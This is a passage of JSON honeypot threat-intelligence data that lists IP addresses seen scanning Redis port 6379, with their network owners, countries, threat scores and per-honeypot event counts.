      "last_seen": "2026-05-10T15:34:02.389Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 91.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 155,
        "days_active_30d": 30,
        "ports_targeted_30d": 32,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-05-02T00:59:27+00:00",
        "last_seen_30d": "2026-05-31T02:15:32.305000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 85,
        "Honeytrap": 35,
        "Redishoneypot": 12,
        "ElasticPot": 8,
        "Cowrie": 6,
        "Tanner": 4,
        "ConPot": 3,
        "Dionaea": 1,
        "Ipphoney": 1
      }
    },
    "106.13.23.149": {
      "attack_count": 23,
      "first_seen": "2026-05-09T00:40:23.000Z",
      "last_seen": "2026-05-09T00:41:00.000Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 5.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-09T00:40:24+00:00",
        "last_seen_30d": "2026-05-09T00:41:00+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 18
      }
    },
    "91.230.168.12": {
      "attack_count": 21,
      "first_seen": "2026-05-08T19:19:24.000Z",
      "last_seen": "2026-05-29T19:38:35.945Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 67.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 21.0,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 126,
        "days_active_30d": 26,
        "ports_targeted_30d": 41,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T09:03:35.563000+00:00",
        "last_seen_30d": "2026-05-29T19:38:35.945000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 96,
        "Honeytrap": 30
      }
    },
    "121.204.160.32": {
      "attack_count": 20,
      "first_seen": "2026-05-03T14:56:43.000Z",
      "last_seen": "2026-05-10T05:45:17.255Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 133774,
      "as_org": "Fuzhou",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-03T14:57:47.720000+00:00",
        "last_seen_30d": "2026-05-10T05:45:17.255000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4
      }
    },
    "157.245.218.191": {
      "attack_count": 20,
      "first_seen": "2026-05-21T11:43:10.000Z",
      "last_seen": "2026-05-21T11:44:17.531Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Clifton",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 50.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 134028,
        "days_active_30d": 1,
        "ports_targeted_30d": 66284,
        "honeypots_triggered_30d": 16,
        "first_seen_30d": "2026-05-21T11:41:06+00:00",
        "last_seen_30d": "2026-05-21T11:54:11.920000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 117198,
        "Honeytrap": 16768,
        "Cowrie": 12,
        "Mailoney": 12,
        "Dionaea": 11,
        "Miniprint": 8,
        "ConPot": 5,
        "Redishoneypot": 3,
        "Adbhoney": 2,
        "Dicompot": 2,
        "ElasticPot": 1,
        "Honeyaml": 1,
        "Ipphoney": 1,
        "Medpot": 1,
        "Tanner": 1
      }
    },
    "64.23.241.205": {
      "attack_count": 20,
      "first_seen": "2026-05-02T07:43:19.000Z",
      "last_seen": "2026-05-02T07:44:23.345Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 169236,
        "days_active_30d": 1,
        "ports_targeted_30d": 65177,
        "honeypots_triggered_30d": 15,
        "first_seen_30d": "2026-05-02T07:39:48+00:00",
        "last_seen_30d": "2026-05-02T07:54:42.543000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Suricata": 142903,
        "Honeytrap": 26285,
        "Cowrie": 12,
        "Dionaea": 9,
        "Miniprint": 8,
        "ConPot": 5,
        "Redishoneypot": 3,
        "Adbhoney": 2,
        "Dicompot": 2,
        "ElasticPot": 1,
        "Honeyaml": 1,
        "Ipphoney": 1,
        "Medpot": 1,
        "Tanner": 1
      }
    },
    "71.6.232.27": {
      "attack_count": 18,
      "first_seen": "2026-05-27T07:29:57.000Z",
      "last_seen": "2026-05-27T07:31:33.771Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 10439,
      "as_org": "CariNet, Inc.",
      "threat_score": 72.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.1,
        "persistence": 20.0,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 65,
        "days_active_30d": 24,
        "ports_targeted_30d": 17,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-05-04T13:37:48.270000+00:00",
        "last_seen_30d": "2026-05-27T22:44:23.629000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 45,
        "Redishoneypot": 6,
        "Cowrie": 4,
        "Honeytrap": 4,
        "Ciscoasa": 2,
        "ConPot": 2,
        "Dionaea": 2
      }
    },
    "165.227.88.53": {
      "attack_count": 17,
      "first_seen": "2026-05-27T22:44:21.000Z",
      "last_seen": "2026-05-27T22:45:31.325Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 18.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T22:44:21+00:00",
        "last_seen_30d": "2026-05-27T22:45:31.325000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 5,
        "Suricata": 2
      }
    },
    "18.221.179.104": {
      "attack_count": 17,
      "first_seen": "2026-05-04T00:49:36.000Z",
      "last_seen": "2026-05-29T03:04:54.314Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 76.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 26.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 450,
        "days_active_30d": 30,
        "ports_targeted_30d": 192,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-02T00:57:50.413000+00:00",
        "last_seen_30d": "2026-05-31T17:59:29.129000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 450
      }
    },
    "193.163.125.127": {
      "attack_count": 17,
      "first_seen": "2026-05-13T04:07:29.000Z",
      "last_seen": "2026-05-19T04:49:47.368Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 211298,
      "as_org": "Driftnet Ltd",
      "threat_score": 30.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.7,
        "persistence": 7.5,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 37,
        "days_active_30d": 9,
        "ports_targeted_30d": 35,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-12T14:37:01.134000+00:00",
        "last_seen_30d": "2026-05-20T03:37:22.541000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Suricata": 37
      }
    },
    "71.6.134.234": {
      "attack_count": 17,
      "first_seen": "2026-05-23T04:54:50.000Z",
      "last_seen": "2026-05-23T05:16:05.995Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 10439,
      "as_org": "CariNet, Inc.",
      "threat_score": 66.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 25.7,
        "persistence": 15.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 374,
        "days_active_30d": 19,
        "ports_targeted_30d": 53,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-05-06T06:52:51.698000+00:00",
        "last_seen_30d": "2026-05-24T11:15:31.849000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 268,
        "Honeytrap": 75,
        "Adbhoney": 8,
        "Dionaea": 7,
        "Redishoneypot": 6,
        "ConPot": 4,
        "Cowrie": 4,
        "ElasticPot": 2
      }
    },
    "20.169.91.55": {
      "attack_count": 16,
      "first_seen": "2026-05-15T18:23:22.000Z",
      "last_seen": "2026-05-15T18:24:56.759Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 41.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 11.5,
        "persistence": 15.8,
        "diversity": 12,
        "spread": 15,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 19,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-06T23:27:27.480000+00:00",
        "last_seen_30d": "2026-05-24T12:53:23.037000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Redishoneypot": 3,
        "Honeytrap": 2
      }
    },
    "20.83.27.140": {
      "attack_count": 16,
      "first_seen": "2026-05-14T02:14:35.000Z",
      "last_seen": "2026-05-14T02:16:34.485Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 42.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.5,
        "persistence": 11.7,
        "diversity": 12,
        "spread": 15,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 14,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-12T11:08:16+00:00",
        "last_seen_30d": "2026-05-25T21:14:10.114000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 17,
        "Honeytrap": 8,
        "Redishoneypot": 3
      }
    },
    "128.203.203.4": {
      "attack_count": 15,
      "first_seen": "2026-05-21T14:01:44.000Z",
      "last_seen": "2026-05-21T14:03:48.444Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 47.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 10.4,
        "persistence": 19.2,
        "diversity": 10,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 23,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T04:19:34.374000+00:00",
        "last_seen_30d": "2026-05-30T15:02:03.244000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Redishoneypot": 3
      }
    },
    "13.86.104.14": {
      "attack_count": 15,
      "first_seen": "2026-05-22T19:22:46.000Z",
      "last_seen": "2026-05-22T19:24:49.853Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 63.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 15.3,
        "persistence": 21.7,
        "diversity": 16,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 34,
        "days_active_30d": 26,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-04T05:35:32.351000+00:00",
        "last_seen_30d": "2026-05-29T02:56:35.625000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 19,
        "Honeytrap": 12,
        "Redishoneypot": 3
      }
    },
    "18.119.209.50": {
      "attack_count": 15,
      "first_seen": "2026-05-03T00:48:12.000Z",
      "last_seen": "2026-05-27T03:26:44.562Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 76.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 26.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 432,
        "days_active_30d": 30,
        "ports_targeted_30d": 182,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-02T00:55:14.176000+00:00",
        "last_seen_30d": "2026-05-31T18:32:00.931000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 432
      }
    },
    "20.106.56.86": {
      "attack_count": 15,
      "first_seen": "2026-05-12T21:56:30.000Z",
      "last_seen": "2026-05-12T21:58:35.302Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 17.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 10.0,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 12,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T12:57:02.484000+00:00",
        "last_seen_30d": "2026-05-13T06:01:37.230000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Redishoneypot": 3,
        "ElasticPot": 1
      }
    },
    "20.168.6.85": {
      "attack_count": 15,
      "first_seen": "2026-05-30T03:23:31.000Z",
      "last_seen": "2026-05-30T03:26:40.835Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 70.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.3,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 28,
        "ports_targeted_30d": 11,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-03T16:36:30.872000+00:00",
        "last_seen_30d": "2026-05-30T03:26:40.835000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 18,
        "Honeytrap": 6,
        "Redishoneypot": 3
      }
    },
    "195.184.76.117": {
      "attack_count": 14,
      "first_seen": "2026-05-29T19:40:09.000Z",
      "last_seen": "2026-05-29T19:41:19.218Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Warrenton",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 67.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.8,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 27,
        "ports_targeted_30d": 10,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-03T19:46:07+00:00",
        "last_seen_30d": "2026-05-29T19:41:19.218000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 18,
        "Honeytrap": 9,
        "Redishoneypot": 3
      }
    },
    "119.45.236.191": {
      "attack_count": 12,
      "first_seen": "2026-05-29T17:12:11.000Z",
      "last_seen": "2026-05-29T17:13:22.889Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Nanjing",
      "asn": 45090,
      "as_org": "Shenzhen Tencent Computer Systems Company Limited",
      "threat_score": 19.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T17:12:12+00:00",
        "last_seen_30d": "2026-05-29T17:13:22.889000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 5,
        "Suricata": 1
      }
    },
    "66.132.195.85": {
      "attack_count": 12,
      "first_seen": "2026-05-20T23:12:01.000Z",
      "last_seen": "2026-05-20T23:13:03.234Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 82.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.3,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 108,
        "days_active_30d": 28,
        "ports_targeted_30d": 36,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T01:44:18+00:00",
        "last_seen_30d": "2026-05-29T00:07:59.914000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 57,
        "Honeytrap": 41,
        "Redishoneypot": 6,
        "Dionaea": 3,
        "Sentrypeer": 1
      }
    },
    "66.132.224.232": {
      "attack_count": 12,
      "first_seen": "2026-05-25T06:22:26.000Z",
      "last_seen": "2026-05-25T06:23:35.162Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 91.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 137,
        "days_active_30d": 30,
        "ports_targeted_30d": 30,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-05-02T10:34:54.575000+00:00",
        "last_seen_30d": "2026-05-31T15:35:08.002000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 76,
        "Honeytrap": 34,
        "Cowrie": 12,
        "Redishoneypot": 6,
        "ConPot": 4,
        "Dionaea": 3,
        "Dicompot": 1,
        "Sentrypeer": 1
      }
    },
    "146.70.199.175": {
      "attack_count": 11,
      "first_seen": "2026-05-17T15:37:37.000Z",
      "last_seen": "2026-05-17T15:38:44.146Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 9009,
      "as_org": "M247 Europe SRL",
      "threat_score": 11.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T15:37:38+00:00",
        "last_seen_30d": "2026-05-17T15:38:44.146000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 6,
        "Suricata": 1
      }
    },
    "1.203.97.227": {
      "attack_count": 10,
      "first_seen": "2026-05-03T13:50:43.000Z",
      "last_seen": "2026-05-06T18:24:48.129Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4847,
      "as_org": "China Networks Inter-Exchange",
      "threat_score": 2.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 3.0,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 2,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-03T13:51:51.404000+00:00",
        "last_seen_30d": "2026-05-06T18:24:48.129000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Suricata": 2
      }
    },
    "116.62.148.248": {
      "attack_count": 10,
      "first_seen": "2026-05-09T05:54:33.000Z",
      "last_seen": "2026-05-09T05:55:43.146Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T05:54:35+00:00",
        "last_seen_30d": "2026-05-09T05:55:43.146000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 3,
        "Suricata": 1
      }
    },
    "147.185.132.60": {
      "attack_count": 10,
      "first_seen": "2026-05-27T20:24:49.000Z",
      "last_seen": "2026-05-27T20:26:31.542Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 88.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.4,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 110,
        "days_active_30d": 28,
        "ports_targeted_30d": 31,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-04T00:56:55.269000+00:00",
        "last_seen_30d": "2026-05-31T21:49:20.129000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 74,
        "Honeytrap": 27,
        "ConPot": 4,
        "Redishoneypot": 3,
        "Dionaea": 2
      }
    },
    "185.224.128.16": {
      "attack_count": 10,
      "first_seen": "2026-05-19T18:58:31.000Z",
      "last_seen": "2026-05-24T21:39:10.619Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 49870,
      "as_org": "Alsycon B.V.",
      "threat_score": 85.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 2421,
        "days_active_30d": 30,
        "ports_targeted_30d": 983,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T00:06:25.244000+00:00",
        "last_seen_30d": "2026-05-31T23:40:04.851000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1865,
        "Honeytrap": 556
      }
    },
    "194.163.184.107": {
      "attack_count": 10,
      "first_seen": "2026-05-16T18:07:27.000Z",
      "last_seen": "2026-05-16T18:08:34.681Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T18:07:27+00:00",
        "last_seen_30d": "2026-05-16T18:08:34.681000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 3,
        "Suricata": 1
      }
    },
    "66.132.195.146": {
      "attack_count": 10,
      "first_seen": "2026-05-03T19:11:12.000Z",
      "last_seen": "2026-05-27T00:36:54.670Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 60.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 13.8,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 28,
        "ports_targeted_30d": 20,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-03T08:38:49.764000+00:00",
        "last_seen_30d": "2026-05-30T12:07:22.733000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 24
      }
    },
    "111.113.89.131": {
      "attack_count": 9,
      "first_seen": "2026-05-15T11:41:08.000Z",
      "last_seen": "2026-05-15T11:42:20.982Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T11:41:08+00:00",
        "last_seen_30d": "2026-05-15T11:42:20.982000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 3,
